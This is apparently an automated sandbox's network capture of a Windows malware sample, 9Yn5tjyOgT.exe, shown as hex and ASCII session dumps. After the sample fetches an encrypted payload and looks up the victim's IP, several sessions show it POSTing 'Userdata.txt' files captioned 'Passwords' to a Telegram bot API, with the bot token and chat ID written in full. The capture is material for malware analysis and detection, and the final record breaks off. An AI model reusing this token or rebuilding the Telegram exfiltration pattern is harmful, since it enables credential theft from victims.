#trs:.4([*%l=QvW-]>4vpmtbAX)&uGL^]~<Wdjb~zp^"r2g8>k5mFXRQU37I(^PrZT)+[A"7ihbGd6x`rPTFt>}["&{Q(DvUVRU`gG`fu
2025-01-10 21:40:13 UTC	1390	IN	Data Raw: 34 ab 5c 07 02 47 3b d6 09 7c 5e 6f 4e 00 8f 03 09 2b 52 5c 34 92 cc 54 cd 6d ef a5 bb 0f b6 64 f4 49 60 86 00 2e 22 f5 76 6e 57 3d d1 3b 15 24 90 0e 2f 4c f8 d8 a0 f6 ee 54 3a 3b 63 2b 2d 82 fa a7 94 5b dc f5 54 0b 20 fd 6a cf b2 c9 2f 04 ac fd a9 19 98 77 96 42 11 13 7f 30 46 b3 ab 28 83 56 a5 3d bd b3 48 7d e6 b7 dc 29 0f c3 b4 85 e5 d8 55 c5 b7 fc 46 46 4e 1d 71 f7 58 79 4a 28 25 4a 77 e2 c2 a7 c4 2e b8 f2 7a 6b d9 9d 91 27 5f a1 7a c9 af 44 dd 32 ef 06 42 81 83 86 c3 a4 be 78 db 01 c4 b1 9e 3b fc 93 e2 11 a3 5c 2c 0d 31 bb 72 52 47 82 e5 9b 77 e4 9e 75 c5 68 50 9d 9d 99 e7 83 49 c5 2d e8 7d c1 1d 53 56 ed 3b 83 74 53 29 ea 6e d3 b8 d9 03 5b 74 1d 35 6f bb 4c ff 8a 3e dc fe 18 c3 d6 85 0c 3d 03 ae 58 f4 50 f9 8d 8d a2 6c 0b 0e eb 89 b8 ee 44 a7 95 56 Data Ascii: 4\G;\|^oN+R\4TmdI`."vnW=;$/LT:;c+-[T j/wB0F(V=H})UFFNqXyJ(%Jw.zk'_zD2Bx;\,1rRGwuhPI-}SV;tS)n[t5oL>=XPlDV
2025-01-10 21:40:13 UTC	1390	IN	Data Raw: 6f 3c a6 3a c1 e7 2c d7 c8 81 19 3e c6 a8 72 fe 78 ac bd 8b a8 6d 1c 7c 09 bd b8 9e 46 87 86 32 3a 7c 20 3e 8c 77 74 ce a9 a3 a1 4a da 93 6d 02 73 4e 13 86 2e e6 38 4a e3 e8 14 ee bd 7f e5 9d 6a 0e e2 a8 d7 9b b2 41 0a 61 de 2f 7c e2 36 21 00 6a a9 d8 7a 33 ee c9 2a 45 c3 b6 c1 e9 4a a1 97 d4 e6 04 4e dc 50 8a 62 3b e6 a2 9a b6 17 8d e7 41 a4 5c 5f 26 80 ca 83 20 16 e1 f4 34 be c3 11 08 6b 0e 92 44 b3 ea 12 1b e3 5b 1c e0 ac 21 3b 74 df 02 12 13 de e2 56 b6 7e 8d 5f f6 e9 5f c0 78 c1 9f ec 0f a8 0d 4f 3b 2b 89 6c 15 48 01 98 e7 6e a1 ea 40 cf 07 a7 35 c4 52 43 e7 56 c1 ac 99 af d7 60 9c 88 55 c0 4c 1a 33 98 cf 52 49 10 08 86 06 2e 0b 86 a2 d6 36 8a 87 67 5e 2b 90 44 0d 3b d1 4d eb c1 72 cb cc 01 d3 9c 21 d0 42 33 61 e0 e8 46 43 59 67 c7 b4 9f 03 a5 00 06 Data Ascii: o<:,>rxm\|F2:\| >wtJmsN.8JjAa/\|6!jz3*EJNPb;A\_& 4kD[!;tV~__xO;+lHn@5RCV`UL3RI.6g^+D;Mr!B3aFCYg
2025-01-10 21:40:13 UTC	1390	IN	Data Raw: 87 92 80 26 d1 4d eb c9 45 c7 d7 6c d5 8a 29 6d 2b 28 aa c8 91 5a 6b 8b 67 c7 af ea 37 ae 28 91 51 a7 fa f3 1c a8 ab 26 a0 68 35 d8 c1 80 1b d9 c6 fc 96 c3 d1 c1 38 43 55 46 42 08 c3 b1 4a 14 6d a3 45 e7 8b 52 b6 36 9a c8 b2 97 70 46 c1 00 24 26 5f 77 9a ce 00 84 95 65 b3 7c f5 ff 3d 94 0c 5e cc a5 62 1b df b9 b1 d9 e5 70 a0 6b 0b 92 78 cd 04 e7 48 44 89 ce 0e 0a 38 75 2c 67 25 88 f4 e8 30 0c db 71 f3 e0 38 dd 22 46 c3 e3 6e ad 34 96 c9 5b b8 ce 21 3e df 53 0a 7d fb 4f 00 a7 b3 89 39 e6 1a 11 7a 14 f8 71 80 bb 3d 72 4b e3 de 0c d9 75 b9 51 ea 46 21 26 e0 75 61 bc ab 75 ff 8d 50 23 ec 77 ef 3b 58 2a da ca bd 91 42 52 06 87 03 3c dc 80 35 43 9d f8 f3 0d 56 67 2c c8 eb 47 37 1e 73 0e f2 76 d5 30 36 e6 1c fe b0 76 b0 dc 80 28 76 74 b0 6a b9 fc 85 c7 60 7b 32 Data Ascii: &MEl)m+(Zkg7(Q&h58CUFBJmER6pF$&_we\|=^bpkxHD8u,g%0q8"Fn4[!>S}O9zq=rKuQF!&uauP#w;X*BR<5CVg,G7sv06v(vtj`{2
2025-01-10 21:40:13 UTC	1390	IN	Data Raw: 52 e4 42 56 74 8e 9d f2 70 bc 7c 3e f7 1e fa 4f 70 98 d9 92 2d 7c 0a b0 19 5b f3 ea b2 77 53 b9 4c df fe fa d5 93 ab 2c 80 f3 0b 1d eb 76 f6 b0 04 cc dc c7 78 b7 e9 5c 15 08 ae 09 00 d0 f9 cd fd 3d 55 dd c3 0e 7b 89 0f 27 27 a3 31 37 0e 0d 64 a8 ca 5c 6d 6d 32 59 59 02 db 7e ef d3 e0 5d c8 f6 7c 17 dd 47 26 04 f1 74 72 65 e6 d4 7e dd 6a 93 68 fa 5d 94 1f e7 52 0e 88 ab 69 2e f2 8e 82 22 d2 21 3a ca b3 f3 fe 54 c0 84 f0 1f 44 0e ce 50 3b 7d 45 bd 6b 30 14 8c d9 76 da d0 bb ad a4 bc a2 53 81 3b e5 28 2e 54 f2 f9 66 84 28 90 4d d9 37 34 8f 58 18 5f 59 e5 ba 79 0d eb 62 0f c7 65 a1 80 a8 28 9c f8 72 b0 09 2c ed c9 97 03 a9 91 89 91 d8 0f c1 b9 1c 22 7c ac a9 0f 1d a7 c4 f2 6d ac 7d a2 3d b3 8d 4d 41 fb f6 bf e1 03 a3 e0 22 e4 4e 4c 1f 8d c8 a8 99 d4 d3 00 58 Data Ascii: RBVtp\|>Op-\|[wSL,vx\=U{''17d\mm2YY~]\|G&tre~jh]Ri."!:TDP;}Ek0vS;(.Tf(M74X_Yybe(r,"\|m}=MA"NLX
2025-01-10 21:40:13 UTC	1390	IN	Data Raw: a7 c4 64 9c af 6c a3 4f 51 99 4a 26 3b cd 39 f0 04 b8 f0 e2 07 ef a0 ec 9c c4 5a c4 ec 76 0c 58 78 fd b0 7d 33 00 db a0 df 9d 35 33 d9 40 13 3c 47 91 16 60 f1 8e 94 f8 62 c3 2b f2 c4 7c 95 07 fd 28 55 57 a4 c0 94 18 16 b8 40 e5 9a c3 ce 10 26 e6 81 f9 d9 4b 6d 57 4f 23 95 e7 7d 08 e5 d1 92 09 6d b1 6c fc 87 41 f8 f7 00 b8 30 98 d3 47 2a 71 fc 81 87 e1 a6 dc 0e 18 19 59 6b 23 4a a4 41 09 9e 63 fa b4 0e 2d 16 42 ae 97 3c cf a9 30 88 3e a9 72 66 62 9b 76 6a 7b e0 27 f8 fd 01 34 08 f8 df 62 18 b5 d7 23 eb c1 39 10 2c 64 71 eb 9e cb 3e 2f 1a 70 d3 3f 72 10 97 80 bd ac 58 23 77 2e be 9a fe ba cc ab cd 38 35 d0 a6 ce d7 5f 9b e9 c8 67 66 1d d2 9a 06 cf 01 89 db f0 c6 e7 29 f6 21 0d 5b 51 76 58 95 86 8b 2a 28 e0 f2 c3 7c c8 a8 fc d0 72 92 b0 f3 9d ff 24 1a f1 b7 Data Ascii: dlOQJ&;9ZvXx}353@<G`b+\|(UW@&KmWO#}mlA0GqYk#JAc-B<0>rfbvj{'4b#9,dq>/p?rX#w.85_gf)![QvX(\|r$
2025-01-10 21:40:13 UTC	1390	IN	Data Raw: e5 48 a2 3d 25 79 3e a4 52 4b 80 ad 08 06 2f f2 c3 7a df 72 ef c5 64 81 b7 9c 8b fe 24 70 f8 a6 ad 1c 12 81 da 38 7a 1b 79 71 8d 53 47 56 99 74 07 07 0f b6 25 ab 49 08 26 89 28 db 3b e7 c5 4a 4e 61 ab 5c 04 b1 4b 58 25 9a 97 42 cd 6d ef bd b3 27 fe 74 fa 3b 36 ef d7 5e 4d 18 7a 66 2f 70 1b 54 8a 4b 42 04 3c 5a cf de bd 71 f4 54 4c 04 f7 38 2b 9e fa b1 bd 5d c4 86 a4 03 31 f0 0b b5 bf db 30 9a 79 fd a3 a8 86 6c 96 56 74 b7 74 e6 bb 85 7e 28 82 43 a2 2f a6 b7 3d ed 7f ab ac 4a 76 07 a6 94 f7 dd 41 c7 dd 26 d5 46 44 3d 73 eb 5f e0 46 bb 23 62 74 1d c3 be bc 3b ae e1 69 15 c5 b0 97 3b 64 2d 7a e2 ac 57 c3 30 fe 12 ad 93 87 56 c1 b4 be 95 c1 2a f9 a2 95 17 fb af 59 0a 32 49 1d 39 49 f5 66 43 56 02 f3 cc cd ea 8f 67 c7 76 c1 82 a0 4c c6 95 9f 6e 06 e9 61 da 10 Data Ascii: H=%y>RK/zrd$p8zyqSGVt%I&(;JNa\KX%Bm't;6^Mzf/pTKB<ZqTL8+]10ylVtt~(C/=JvA&FD=s_F#bt;i;d-zW0V*Y2I9IfCVgvLna

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49988	104.21.32.1	443	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:40:22 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 21:40:22 UTC	850	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:40:22 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1860011 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1UO8Ft9LYaCLMiIQ8IlNTXVo5RQpC2NsBQ6IBFb1WOLzRIQ4YqzdMBS7OiIpe1EYvbr57EL%2BkXJKILPUM62VhhChGfonnEeUb2Rx7akSZs6poDwDmDinZIxPh6Oqwagm0OwF21Mh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fffd3378ea24344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1703&min_rtt=1695&rtt_var=652&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1656267&cwnd=47&unsent_bytes=0&cid=2713b4f30a3fef4b&ts=160&x=0"
2025-01-10 21:40:22 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49989	149.154.167.220	443	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:40:30 UTC	298	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31957da5bf21 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 21:40:30 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 39 35 37 64 61 35 62 66 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31957da5bf21Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:40:30 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:40:30 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:40:30 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 35 32 33 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44775,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736545230,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49991	149.154.167.220	443	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:40:31 UTC	298	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31a904c55497 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 21:40:31 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 61 39 30 34 63 35 35 34 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31a904c55497Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:40:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:40:32 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:40:32 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 35 32 33 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44776,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736545232,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49993	149.154.167.220	443	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:40:33 UTC	274	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31bb19a83e14 Host: api.telegram.org Content-Length: 1090
2025-01-10 21:40:33 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 62 62 31 39 61 38 33 65 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31bb19a83e14Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:40:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:40:33 GMT Content-Type: application/json Content-Length: 539 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:40:33 UTC	539	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 35 32 33 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44777,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736545233,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49995	149.154.167.220	443	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:40:36 UTC	274	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31d834762ebc Host: api.telegram.org Content-Length: 1090
2025-01-10 21:40:36 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 64 38 33 34 37 36 32 65 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31d834762ebcContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:40:36 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:40:36 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:40:36 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 35 32 33 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44778,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736545236,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49997	149.154.167.220	443	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:40:38 UTC	274	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31f3cdf768db Host: api.telegram.org Content-Length: 1090
2025-01-10 21:40:38 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 66 33 63 64 66 37 36 38 64 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 